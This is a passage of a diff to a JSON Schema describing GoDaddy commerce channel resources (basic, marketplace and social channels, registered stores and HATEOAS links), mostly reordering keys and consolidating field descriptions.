"https://json-schema.org/draft/2020-12/schema", + "description": "unique identifier", + "example": "id", + "format": "uuid", + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "title": "Id", + "type": "string" + }, + "createdAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" }, - "required": [ - "name" - ] - } - ] - }, - { - "$id": "https://godaddy.com/schemas/commerce/marketplace-channel.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Marketplace Channel", - "type": "object", - "description": "Resource representing the Marketplace Channel", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/basic-channel.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Basic Channel", - "type": "object", - "description": "Resource representing the Basic Channel", - "properties": { - "channelId": { - "description": "Globally unique Id of the channel that can be used to reference", - "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "type": "string", - "format": "uuid", - "example": "id", - "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}" - }, - "name": { - "type": "string", - "description": "Name of the channel", - "maxLength": 128 - }, - "channelProviderId": { - "description": "Identifier of the channel provider (defaulted based on the caller's auth credentials)", - "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "type": "string", - "format": "uuid", - "example": "id", - "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}" - }, - "externalChannelId": { - "type": "string", - "description": "External identifier of the channel", - "maxLength": 64 - }, - "subType": { - "type": "string", - "description": "Additional information that represents the type of the channel", - "maxLength": 256 - }, - "status": { - "$id": "https://godaddy.com/schemas/commerce/channel-status.v1", + "externalChannelId": { + "description": "External identifier of the channel", + "maxLength": 64, + "type": "string" + }, + "links": { + "$id": "https://godaddy.com/schemas/commerce/link.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "HATEOAS links", + "items": { + "$id": "https://godaddy.com/schema/common/link-description.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "ChannelStatus", - "type": "string", - "description": "Channel Status", - "enum": [ - "PENDING_SETUP", - "ACTIVE", - "INACTIVE", - "ERROR", - "REMOVED" - ], - "default": "ACTIVE" - }, - "registeredStores": { - "description": "List of stores that are registered to this channel", - "items": { - "$id": "https://godaddy.com/schemas/commerce/registered-store.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "RegisteredStore", - "type": "object", - "description": "Resource representing Store registration with Channel", - "properties": { - "storeId": { - "description": "Id of the store that can be used to reference", - "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "type": "string", - "format": "uuid", - "example": "id", - "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}" - }, - "status": { - "description": "Status of the registration", - "$id": "https://godaddy.com/schemas/commerce/registered-store-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "RegisteredStoreStatus", - "type": "string", - "enum": [ - "ENABLED", - "DISABLED" - ], - "default": "ENABLED" - }, - "default": { - "type": "boolean", - "description": "If this is a default channel for the store", - "default": false - }, - "links": { - "description": "Links pointing to external resource", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/link.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Links", - "items": { - "$id": "https://godaddy.com/schema/common/link-description.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Link Description", - "type": "object", - "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", - "properties": { - "href": { - "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", - "type": "string", - "format": "uri" - }, - "rel": { - "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", - "type": "string" - }, - "title": { - "description": "The link title.", - "type": "string" - }, - "targetMediaType": { - "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", - "type": "string" - }, - "targetSchema": { - "description": "The schema that describes the link target." - }, - "method": { - "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", - "type": "string" - }, - "submissionMediaType": { - "description": "The media type with which to submit data with the request.", - "type": "string", - "default": "application/json" - }, - "submissionSchema": { - "description": "The schema that describes the request data." - } - }, - "required": [ - "rel", - "href" - ] - } - } + "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", + "properties": { + "href": { + "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", + "format": "uri", + "type": "string" }, - "required": [ - "storeId" - ] + "method": { + "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "type": "string" + }, + "rel": { + "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", + "type": "string" + }, + "submissionMediaType": { + "default": "application/json", + "description": "The media type with which to submit data with the request.", + "type": "string" + }, + "submissionSchema": { + "description": "The schema that describes the request data." + }, + "targetMediaType": { + "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", + "type": "string" + }, + "targetSchema": { + "description": "The schema that describes the link target." + }, + "title": { + "description": "The link title.", + "type": "string" + } }, - "type": "array" + "required": [ + "rel", + "href" + ], + "title": "Link Description", + "type": "object" }, - "links": { - "description": "Links pointing to external resource", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/link.v1", + "title": "Links" + }, + "name": { + "description": "Name of the channel", + "maxLength": 128, + "type": "string" + }, + "registeredStores": { + "description": "List of stores that are registered to this channel", + "items": { + "$id": "https://godaddy.com/schemas/commerce/registered-store.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Links", - "items": { - "$id": "https://godaddy.com/schema/common/link-description.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Link Description", - "type": "object", - "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", - "properties": { - "href": { - "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", - "type": "string", - "format": "uri" - }, - "rel": { - "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", - "type": "string" - }, - "title": { - "description": "The link title.", - "type": "string" - }, - "targetMediaType": { - "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", - "type": "string" - }, - "targetSchema": { - "description": "The schema that describes the link target." - }, - "method": { - "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", - "type": "string" - }, - "submissionMediaType": { - "description": "The media type with which to submit data with the request.", - "type": "string", - "default": "application/json" + "description": "Resource representing Store registration with Channel", + "properties": { + "default": { + "default": false, + "description": "If this is a default channel for the store", + "type": "boolean" + }, + "links": { + "$id": "https://godaddy.com/schemas/commerce/link.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "HATEOAS links", + "items": { + "$id": "https://godaddy.com/schema/common/link-description.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", + "properties": { + "href": { + "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", + "format": "uri", + "type": "string" + }, + "method": { + "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "type": "string" + }, + "rel": { + "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", + "type": "string" + }, + "submissionMediaType": { + "default": "application/json", + "description": "The media type with which to submit data with the request.", + "type": "string" + }, + "submissionSchema": { + "description": "The schema that describes the request data." + }, + "targetMediaType": { + "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", + "type": "string" + }, + "targetSchema": { + "description": "The schema that describes the link target." + }, + "title": { + "description": "The link title.", + "type": "string" + } + }, + "required": [ + "rel", + "href" + ], + "title": "Link Description", + "type": "object" }, - "submissionSchema": { - "description": "The schema that describes the request data." - } + "title": "Links" }, - "required": [ - "rel", - "href" - ] - } - }, - "createdAt": { - "description": "The date and time the channel was created.", - "readOnly": true, - "$id": "https://godaddy.com/schemas/common/date-time.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "string", - "minLength": 20, - "maxLength": 64, - "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$" + "status": { + "$id": "https://godaddy.com/schemas/commerce/registered-store-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "default": "ENABLED", + "description": "Registered Store Status", + "enum": [ + "ENABLED", + "DISABLED" + ], + "title": "RegisteredStoreStatus", + "type": "string" + }, + "storeId": { + "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "unique identifier", + "example": "id", + "format": "uuid", + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "title": "Id", + "type": "string" + } + }, + "required": [ + "storeId" + ], + "title": "RegisteredStore", + "type": "object" }, - "updatedAt": { - "description": "The date and time the channel was updated.", - "readOnly": true, - "$id": "https://godaddy.com/schemas/common/date-time.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "string", - "minLength": 20, - "maxLength": 64, - "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$" - } + "type": "array" }, - "required": [ - "name" - ] - } - ] - }, - { - "$id": "https://godaddy.com/schemas/commerce/social-channel.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Social Channel", - "type": "object", - "description": "Resource representing the Social Channel", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/basic-channel.v1", + "status": { + "$id": "https://godaddy.com/schemas/commerce/channel-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "default": "ACTIVE", + "description": "Channel Status", + "enum": [ + "PENDING_SETUP", + "ACTIVE", + "INACTIVE", + "ERROR", + "REMOVED" + ], + "title": "ChannelStatus", + "type": "string" + }, + "subType": { + "description": "Additional information that represents the type of the channel", + "maxLength": 256, + "type": "string" + }, + "updatedAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + } + }, + "required": [ + "name" + ], + "title": "Basic Channel", + "type": "object" + } + ], + "description": "Resource representing the Social Channel", + "title": "Social Channel", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/basic-channel.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Resource representing the Basic Channel", + "properties": { + "channelId": { + "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "unique identifier", + "example": "id", + "format": "uuid", + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "title": "Id", + "type": "string" + }, + "channelProviderId": { + "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "unique identifier", + "example": "id", + "format": "uuid", + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "title": "Id", + "type": "string" + }, + "createdAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + }, + "externalChannelId": { + "description": "External identifier of the channel", + "maxLength": 64, + "type": "string" + }, + "links": { + "$id": "https://godaddy.com/schemas/commerce/link.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "HATEOAS links", + "items": { + "$id": "https://godaddy.com/schema/common/link-description.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Basic Channel", - "type": "object", - "description": "Resource representing the Basic Channel", + "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", "properties": { - "channelId": { - "description": "Globally unique Id of the channel that can be used to reference", - "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "type": "string", - "format": "uuid", - "example": "id", - "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}" - }, - "name": { - "type": "string", - "description": "Name of the channel", - "maxLength": 128 - }, - "channelProviderId": { - "description": "Identifier of the channel provider (defaulted based on the caller's auth credentials)", - "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "type": "string", - "format": "uuid", - "example": "id", - "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}" - }, - "externalChannelId": { - "type": "string", - "description": "External identifier of the channel", - "maxLength": 64 + "href": { + "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", + "format": "uri", + "type": "string" }, - "subType": { - "type": "string", - "description": "Additional information that represents the type of the channel", - "maxLength": 256 + "method": { + "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "type": "string" }, - "status": { - "$id": "https://godaddy.com/schemas/commerce/channel-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "ChannelStatus", - "type": "string", - "description": "Channel Status", - "enum": [ - "PENDING_SETUP", - "ACTIVE", - "INACTIVE", - "ERROR", - "REMOVED" - ], - "default": "ACTIVE" + "rel": { + "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", + "type": "string" }, - "registeredStores": { - "description": "List of stores that are registered to this channel", - "items": { - "$id": "https://godaddy.com/schemas/commerce/registered-store.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "RegisteredStore", - "type": "object", - "description": "Resource representing Store registration with Channel", - "properties": { - "storeId": { - "description": "Id of the store that can be used to reference", - "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "type": "string", - "format": "uuid", - "example": "id", - "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}" - }, - "status": { - "description": "Status of the registration", - "$id": "https://godaddy.com/schemas/commerce/registered-store-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "RegisteredStoreStatus", - "type": "string", - "enum": [ - "ENABLED", - "DISABLED" - ], - "default": "ENABLED" - }, - "default": { - "type": "boolean", - "description": "If this is a default channel for the store", - "default": false - }, - "links": { - "description": "Links pointing to external resource", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/link.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Links", - "items": { - "$id": "https://godaddy.com/schema/common/link-description.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Link Description", - "type": "object", - "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", - "properties": { - "href": { - "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", - "type": "string", - "format": "uri" - }, - "rel": { - "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", - "type": "string" - }, - "title": { - "description": "The link title.", - "type": "string" - }, - "targetMediaType": { - "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", - "type": "string" - }, - "targetSchema": { - "description": "The schema that describes the link target." - }, - "method": { - "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", - "type": "string" - }, - "submissionMediaType": { - "description": "The media type with which to submit data with the request.", - "type": "string", - "default": "application/json" - }, - "submissionSchema": { - "description": "The schema that describes the request data." - } - }, - "required": [ - "rel", - "href" - ] - } - } - }, - "required": [ - "storeId" - ] - }, - "type": "array" + "submissionMediaType": { + "default": "application/json", + "description": "The media type with which to submit data with the request.", + "type": "string" + }, + "submissionSchema": { + "description": "The schema that describes the request data." + }, + "targetMediaType": { + "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", + "type": "string" + }, + "targetSchema": { + "description": "The schema that describes the link target." + }, + "title": { + "description": "The link title.", + "type": "string" + } + }, + "required": [ + "rel", + "href" + ], + "title": "Link Description", + "type": "object" + }, + "title": "Links" + }, + "name": { + "description": "Name of the channel", + "maxLength": 128, + "type": "string" + }, + "registeredStores": { + "description": "List of stores that are registered to this channel", + "items": { + "$id": "https://godaddy.com/schemas/commerce/registered-store.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Resource representing Store registration with Channel", + "properties": { + "default": { + "default": false, + "description": "If this is a default channel for the store", + "type": "boolean" }, "links": { - "description": "Links pointing to external resource", - "readOnly": true, "$id": "https://godaddy.com/schemas/commerce/link.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Links", + "description": "HATEOAS links", "items": { "$id": "https://godaddy.com/schema/common/link-description.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Link Description", - "type": "object", "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", "properties": { "href": { "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", - "type": "string", - "format": "uri" + "format": "uri", + "type": "string" + }, + "method": { + "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "type": "string" }, "rel": { "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", "type": "string" }, - "title": { - "description": "The link title.", + "submissionMediaType": { + "default": "application/json", + "description": "The media type with which to submit data with the request.", "type": "string" }, + "submissionSchema": { + "description": "The schema that describes the request data." + }, "targetMediaType": { "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", "type": "string" @@ -3124,1074 +3939,709 @@ "targetSchema": { "description": "The schema that describes the link target." }, - "method": { - "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "title": { + "description": "The link title.", "type": "string" - }, - "submissionMediaType": { - "description": "The media type with which to submit data with the request.", - "type": "string", - "default": "application/json" - }, - "submissionSchema": { - "description": "The schema that describes the request data." } }, "required": [ "rel", "href" - ] - } + ], + "title": "Link Description", + "type": "object" + }, + "title": "Links" }, - "createdAt": { - "description": "The date and time the channel was created.", - "readOnly": true, - "$id": "https://godaddy.com/schemas/common/date-time.v1", + "status": { + "$id": "https://godaddy.com/schemas/commerce/registered-store-status.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "string", - "minLength": 20, - "maxLength": 64, - "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$" + "default": "ENABLED", + "description": "Registered Store Status", + "enum": [ + "ENABLED", + "DISABLED" + ], + "title": "RegisteredStoreStatus", + "type": "string" }, - "updatedAt": { - "description": "The date and time the channel was updated.", - "readOnly": true, - "$id": "https://godaddy.com/schemas/common/date-time.v1", + "storeId": { + "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "string", - "minLength": 20, - "maxLength": 64, - "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$" + "description": "unique identifier", + "example": "id", + "format": "uuid", + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "title": "Id", + "type": "string" } }, "required": [ - "name" - ] - } - ] - }, - { - "$id": "https://godaddy.com/schemas/commerce/basic-channel.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Basic Channel", - "type": "object", - "description": "Resource representing the Basic Channel", - "properties": { - "channelId": { - "description": "Globally unique Id of the channel that can be used to reference", - "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "type": "string", - "format": "uuid", - "example": "id", - "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}" - }, - "name": { - "type": "string", - "description": "Name of the channel", - "maxLength": 128 - }, - "channelProviderId": { - "description": "Identifier of the channel provider (defaulted based on the caller's auth credentials)", - "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "type": "string", - "format": "uuid", - "example": "id", - "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}" - }, - "externalChannelId": { - "type": "string", - "description": "External identifier of the channel", - "maxLength": 64 - }, - "subType": { - "type": "string", - "description": "Additional information that represents the type of the channel", - "maxLength": 256 - }, - "status": { - "$id": "https://godaddy.com/schemas/commerce/channel-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "ChannelStatus", - "type": "string", - "description": "Channel Status", - "enum": [ - "PENDING_SETUP", - "ACTIVE", - "INACTIVE", - "ERROR", - "REMOVED" + "storeId" ], - "default": "ACTIVE" - }, - "registeredStores": { - "description": "List of stores that are registered to this channel", - "items": { - "$id": "https://godaddy.com/schemas/commerce/registered-store.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "RegisteredStore", - "type": "object", - "description": "Resource representing Store registration with Channel", - "properties": { - "storeId": { - "description": "Id of the store that can be used to reference", - "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "type": "string", - "format": "uuid", - "example": "id", - "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}" - }, - "status": { - "description": "Status of the registration", - "$id": "https://godaddy.com/schemas/commerce/registered-store-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "RegisteredStoreStatus", - "type": "string", - "enum": [ - "ENABLED", - "DISABLED" - ], - "default": "ENABLED" - }, - "default": { - "type": "boolean", - "description": "If this is a default channel for the store", - "default": false - }, - "links": { - "description": "Links pointing to external resource", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/link.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Links", - "items": { - "$id": "https://godaddy.com/schema/common/link-description.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Link Description", - "type": "object", - "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", - "properties": { - "href": { - "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", - "type": "string", - "format": "uri" - }, - "rel": { - "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", - "type": "string" - }, - "title": { - "description": "The link title.", - "type": "string" - }, - "targetMediaType": { - "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", - "type": "string" - }, - "targetSchema": { - "description": "The schema that describes the link target." - }, - "method": { - "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", - "type": "string" - }, - "submissionMediaType": { - "description": "The media type with which to submit data with the request.", - "type": "string", - "default": "application/json" - }, - "submissionSchema": { - "description": "The schema that describes the request data." - } - }, - "required": [ - "rel", - "href" - ] - } - } - }, - "required": [ - "storeId" - ] - }, - "type": "array" - }, - "links": { - "description": "Links pointing to external resource", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/link.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Links", - "items": { - "$id": "https://godaddy.com/schema/common/link-description.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Link Description", - "type": "object", - "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", - "properties": { - "href": { - "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", - "type": "string", - "format": "uri" - }, - "rel": { - "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", - "type": "string" - }, - "title": { - "description": "The link title.", - "type": "string" - 